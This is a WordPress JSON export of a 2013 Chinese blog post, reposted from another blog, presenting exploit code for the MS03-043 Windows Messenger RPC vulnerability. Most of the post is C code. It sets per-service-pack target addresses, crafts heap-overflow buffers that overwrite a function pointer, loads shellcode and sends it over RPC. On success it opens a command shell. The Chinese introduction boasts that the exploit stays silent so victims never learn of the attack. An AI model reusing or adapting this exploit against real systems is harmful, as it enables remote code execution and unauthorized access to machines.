{"id":861,"date":"2013-08-05T21:37:36","date_gmt":"2013-08-05T13:37:36","guid":{"rendered":"http:\/\/notes.zerobox.org\/?p=861"},"modified":"2013-08-05T21:37:36","modified_gmt":"2013-08-05T13:37:36","slug":"ms03-043%e5%88%a9%e7%94%a8%e4%bb%a3%e7%a0%81","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/861.html","title":{"rendered":"ms03-043\u5229\u7528\u4ee3\u7801"},"content":{"rendered":"

\u8f6c\u81ea:http:\/\/hi.baidu.com\/yuange1975\/item\/75a1bf559e29470ae6c4a5bb<\/a><\/p>\n

 <\/p>\n

DCOM\u524d\u7684\u901a\u6740\u6f0f\u6d1e\u5229\u7528\u00a0\u00a0 ms03-043\u5229\u7528\u4ee3\u7801<\/p>\n

 <\/p>\n

\u56e0\u4e3a\u53ef\u4ee5\u8d70udp135\u548cUDP1024\u4ee5\u4e0a\u4e00\u4e2a\u52a8\u6001\u7aef\u53e3\uff0c\u5f53\u65f6\u5f88\u591a\u641eAPT\u7684\u5f00\u5929\u7f51\u9632\u706b\u5899\u52a0\u9ed1\u51b0\u767d\u540d\u5355\u7684\u673a\u5668\u4e5f\u8f7b\u677e\u80fd\u641e\u5b9a\u3002\u662f\u6211\u5e38\u8bf4\u7684\u91cc\u9762\u90a3\u4e2aMSG\u6f0f\u6d1e\u3002\u610f\u8bc6\u5230RPC\u7684\u91cd\u8981\u6027\u540e\uff0c\u4e00\u7cfb\u5217RPC\u6210\u679c\u3002\u56fd\u5185\u7814\u7a76RPC\u70ed\u57fa\u672c\u4e0a\u662fDCOM\u51fa\u6765\u540e\u3002\u53ef\u60dc\u4e86\u4e00\u4e9b\u5217RPC\u5e93\u7684\u6f0f\u6d1e\uff01<\/p>\n

 <\/p>\n

 <\/p>\n

 <\/p>\n

\u56de\u6765\u627e\u51fa\u4ee3\u7801\u771f\u662f\u591a\u6b21\u4f2a\u9020\u5934\uff0c\u6211\u8bb0\u5f97\u6211\u6709PEB\u6307\u9488\u7248\u672c\u7684\u6ca1\u627e\u7740\uff0c\u8fd9\u4e2a\u4f1a\u5f39\u51fa\u6d88\u606f\u6846\u3002\u627e\u5230\u7684\u662f\u89e3\u51b3\u5f39\u51fa\u6d88\u606f\u6846\u7684\u7248\u672c\uff0c\u4e0d\u4f1a\u8ba9\u4eba\u77e5\u9053\u6709\u653b\u51fb\uff0c\u4f46\u9700\u8981SP\u786e\u8ba4\uff0c\u8986\u76d6\u51fd\u6570\u6307\u9488\uff0c\u548c4\u5b57\u8282\u5c0fshellcod\u8df3\u8f6c\uff0c\u8fd9\u4e2a\u521a\u597d\u8986\u76d6\u4e00\u4e2a\u53d8\u91cf\uff0c\u63a7\u5236\u4e0d\u8ba9\u5f39\u6d88\u606f\u6846\u3002\u8fd8\u6709\u4e00\u4e9b\u957f\u5ea6\u7684\u5904\u7406\u95ee\u9898\uff0c\u4f30\u8ba1\u662f@\u732a\u513f\u866b\u5c0f\u6b21\u90ce \u8bf4\u7684\u8981\u89e3\u51b3\u7684\u957f\u5ea6\u95ee\u9898\u3002<\/p>\n

 <\/p>\n

 
\nvoid sendoverpack()
\n{
\nint i,j;<\/p>\n

for(i=0;i<3;++i)
\n{
\nCreateThread(NULL,0,(LPTHREAD_START_ROUTINE)sendoverstr,0,0,&j);
\nSleep(6000);
\n}
\n\/\/ sendoverpack();
\nif(overok==3)
\n{
\nwhile(1) Sleep(0x7fffffff);
\n}
\n}<\/p>\n

 <\/p>\n

void\u00a0 sendoverstr()
\n{
\n\/*
\n* \u8c03\u7528\u8fdc\u7a0b\u8fc7\u7a0b
\n*\/
\nint\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 i,j;
\nRPC_STATUS\u00a0\u00a0\u00a0\u00a0 status;
\nchar buff[0x100];
\n\/\/\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 char buffer[BUFFSIZE];
\nchar\u00a0\u00a0 *buffer=LocalAlloc(LMEM_ZEROINIT,BUFFSIZE+2);
\nchar\u00a0\u00a0 *buffer2=LocalAlloc(LMEM_ZEROINIT,BUFFSIZE+2);<\/p>\n

int\u00a0\u00a0\u00a0 funadd=RVAWIN2K+0x8310;
\nint\u00a0\u00a0\u00a0 jmpshelladd=RVAWIN2K+0x8298;<\/p>\n

 
\nmemset(buffer,NOPCODE,SENDBUFFLEN);
\nif(sys_ver_num>4||sys_ver_num<0) sys_ver_num=4;<\/p>\n

sys_ver_num=10;<\/p>\n

if(strcmp(version,”sp0″)==0) sys_ver_num=0;
\nif(strcmp(version,”sp1″)==0) sys_ver_num=1;
\nif(strcmp(version,”sp2″)==0) sys_ver_num=2;
\nif(strcmp(version,”sp3″)==0) sys_ver_num=3;<\/p>\n

if(strcmp(version,”winxp”)==0) sys_ver_num=10;
\nif(sys_ver_num==10)
\n{
\nfunadd=RVAWINXP+0x8238;
\njmpshelladd=RVAWINXP+0x8560;
\n}
\nif(sys_ver_num==3)
\n{
\n\/\/win2k+sp3
\nfunadd=RVAWIN2K+0x8078;
\njmpshelladd=RVAWIN2K+0x811c;
\n}
\nif(sys_ver_num==2)
\n{\u00a0\u00a0 \/\/ win2k+sp2
\nfunadd=RVAWIN2K+0x8330;
\njmpshelladd=RVAWIN2K+0x82b8;
\n}
\nif(sys_ver_num==1)
\n{\u00a0\u00a0 \/\/ win2k+sp1
\nfunadd=RVAWIN2K+0x8330;
\njmpshelladd=RVAWIN2K+0x82b8;
\n}
\nif(sys_ver_num==0)
\n{\u00a0\u00a0 \/\/ win2k+sp0<\/p>\n

funadd=RVAWIN2K+0x8310;
\njmpshelladd=RVAWIN2K+0x8298;<\/p>\n

}<\/p>\n

if(sys_ver_num<=4)
\n{<\/p>\n

i=0x0234*8;
\nmemcpy(buffer+ADDRESS,”\\x02\\x01\\x34\\x02\\x01\\x01\\x02″,7);\u00a0\u00a0 \/\/ \u975e\u7a7a\u95f2\u5185\u5b58\u5757<\/p>\n

\/\/\u00a0\u00a0 memcpy(buffer+ADDRESS+0x8,”\\x80\\xf2\\xfd\\x7f”,4);\u00a0\u00a0 \/\/ fun-4
\n\/\/\u00a0\u00a0 memcpy(buffer+ADDRESS+0x0c,”\\xa8\\x81\\xec\\x74″,4);\u00a0\u00a0 \/\/ shelladd<\/p>\n

memcpy(buffer+ADDRESS-i,”\\x30\\x01\\x02\\x01\\x01\\x20\\x02\\x02″,8); \/\/ \u7a7a\u95f2\u5185\u5b58\u5757
\n*(int *)(buffer+ADDRESS-i+0x8)=funadd-4;
\n*(int *)(buffer+ADDRESS-i+0x0c)=jmpshelladd;\u00a0\u00a0 \/\/ shelladd<\/p>\n

\/\/ memcpy(buffer+ADDRESS-i+0x8,”\\xa8\\x81\\xec\\x74″,4);\u00a0\u00a0 \/\/ fun-4
\n\/\/ memcpy(buffer+ADDRESS-i+0x0c,”\\xd9\\x8b\\xec\\x74″,4);\u00a0\u00a0 \/\/ shelladd<\/p>\n

j=(0x130+0x102-0x234)*8;<\/p>\n

memcpy(buffer+ADDRESS+j,”\\x02\\x01\\x02\\x02\\x01\\x20\\x02\\x02″,8); \/\/ \u7a7a\u95f2\u5185\u5b58\u5757
\n*(int *)(buffer+ADDRESS+j+0x8)=0x0856ff61;
\n*(int *)(buffer+ADDRESS+j+0x0c)=jmpshelladd;\u00a0\u00a0 \/\/ shelladd<\/p>\n

\/\/\u00a0 memcpy(buffer+ADDRESS+j+0x08,”\\x90\\x90\\x68\\xff”,4);
\n\/\/\u00a0 memcpy(buffer+ADDRESS+j+0x0c,”\\xd9\\x8b\\xec\\x74″,4);<\/p>\n

i=i-0x10+j;
\ni=i\/2;
\nmemset(buffer+ADDRESS+j-2*i,0x14,i);
\nstrcpy(buffer+ADDRESS+j-i,buffer+ADDRESS+j);<\/p>\n

\/*
\ni=strlen(buffer+ADDRESS+0x20)\/2;
\nmemset(buffer+ADDRESS+0x20,0x14,i);
\nmemset(buffer+ADDRESS+0x20+strlen(buffer+ADDRESS+0x20)-i,0,0×10);<\/p>\n

j=ADDRESS-j-0x100;
\ni=j\/2;<\/p>\n

memset(buffer+ADDRESS-2*i,0x14,i);
\nstrcpy(buffer+ADDRESS-i,buffer+ADDRESS);
\n*\/
\n\/*
\n\u670d\u52a1\u5668\u4f1a\u628a0x14\u66ff\u6362\u62100x0d0x0a,\u4e3a\u4e86\u51cf\u5c11\u6ea2\u51fa\u4e32\u7684\u957f\u5ea6\uff0c\u628a\u7a7a\u95f2\u7a7a\u95f4\u66ff\u6362\u62100x14
\n*\/
\n}<\/p>\n

 <\/p>\n

memset(buffer2,NOPCODE,BUFFSIZE);<\/p>\n

i=GetShellcode(buffer2+0x10);
\nj=0x0eeb;
\nfor(j=0x0eeb;j<i;j+=0x100)
\n{<\/p>\n

}
\nmemset(buffer2+i,NOPCODE,BUFFSIZE-i);
\nmemset(buffer2+j-1,0,0×10);
\ni=strlen(buffer2);<\/p>\n

\/\/ \u00a0memset(buffer+0x300-1,0,0×10);<\/p>\n

\/\/len=0x0ceb\u00a0\u00a0 0xeb\u00a0 0x0c\u00a0\u00a0 jmp to shellcode
\n\/\/ eb 0c 00 00 00 00 00 00 eb 0c 00 00 t 00 90 90<\/p>\n

if(overok==0)
\n{
\noutprintf(“\\r\\nsend hook test packet!\\r\\n”);
\nj=HelloProc(buffer2,”testest”,”0″);\/\/buffer);
\noverok=1;
\noutprintf(“\\r\\npacket send ok! return 0x%x\\r\\n”,j);
\nif(j!=OKNUM)\u00a0 j=HelloProc(“t”,”testest”,buffer);\u00a0 \/\/SEND OVER PACKET
\nif(j==OKNUM)
\n{
\noverok=3;
\nshellcmd();
\n}
\nelse
\n{
\noverok=0;
\nj=HelloProc(buffer2,”testest”,”1″);\u00a0\u00a0\u00a0 \/\/ SEND\u00a0 HOOK PACKET
\n}
\n}<\/p>\n

ExitThread(0);
\n\/*<\/p>\n

\u6d4b\u8bd5\u53d1\u73b0RPC\u5229\u7528UDP\u901a\u4fe1\u65f6,\u5982\u679c\u6570\u636e\u5305\u8fc7\u957f,\u7b2c\u4e00\u6b21\u53ef\u4ee5\u6210\u529f,\u7b2c\u4e8c\u6b21RPC\u8c03\u7528\u5c31\u5931\u8d25\u4e86.
\n\u4e0d\u8fc7\u91cd\u65b0\u542f\u52a8\u7a0b\u5e8f\u53c8\u53ef\u4ee5\u6210\u529f\u53d1\u9001\u4e00\u6b21.\u770b\u6765RPC\u901a\u4fe1\u7684\u5ba2\u6237\u7aef\u5904\u7406UDP\u901a\u4fe1\u6709\u95ee\u9898.<\/p>\n

*\/<\/p>\n

}<\/p>\n

 <\/p>\n","protected":false},"excerpt":{"rendered":"

\u8f6c\u81ea:http:\/\/hi.baidu.com\/yuange1975\/item\/7 …<\/p>\n

\u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[213],"class_list":["post-861","post","type-post","status-publish","format-standard","hentry","tag-213"],"views":716,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/861","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=861"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/861\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=861"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=861"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=861"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}